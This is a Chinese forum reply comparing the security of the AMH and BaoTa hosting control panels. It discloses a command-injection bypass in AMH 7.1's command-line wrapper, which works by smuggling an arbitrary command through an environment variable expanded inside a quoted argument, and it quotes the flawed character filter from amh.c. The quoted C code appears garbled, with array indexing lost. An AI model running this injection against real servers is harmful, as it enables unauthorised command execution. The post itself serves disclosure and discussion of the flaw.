本帖最后由 haozi 于 2024-10-26 13:29 编辑
第一条认同,确实是最适合的。
第二条,nginx、php这些都没有进程守护,挂掉了面板就打不开了,可以自行去服务器上kill掉nginx试试。
第三条,以宝塔为例nginx炸了并不会影响面板,但是amh支持多nginx这是优点。
第四条不认同,以宝塔为例nginx配置均为600权限,不可能随意读取写入,另外不说给600,起码该给644吧,随便都能往nginx配置目录写配置文件进去,也太离谱了。
第五条指的是chroot吧,开那个确实可以规避前面提的一切问题,但不影响这些问题的客观存在,另外amh默认也没开chroot和open_basedir,连php禁用函数都是空的。
附amh命令行注入的绕过,其他的直接file get content、file put content对应文件,shell exec("cd /usr/local/amh-7.1/web && amh xxx")就完事了,不值一提。
export "A=ls -l"
amh amh-7.1 admin exit '
${A}'
A环境变量设置任意命令即可。
漏洞原因是amh.c中的过滤不完整:
for (k = 1; k < argc; k++)
{
i = 0;
char cmd_row[2048];
strcpy(cmd_row, argv[k]);
int cmd_row_len = (int)strlen(cmd_row);
for (; i < cmd_row_len; i++)
if (cmd_row == ' ' || cmd_row == '`' || cmd_row == ';' || cmd_row == '&' || cmd_row == '|' || cmd_row == '(') cmd_row = '_';
strcpy(argv[k], cmd_row);
}
PS:这论坛防火墙把命令全拦截了,只能这样了。 |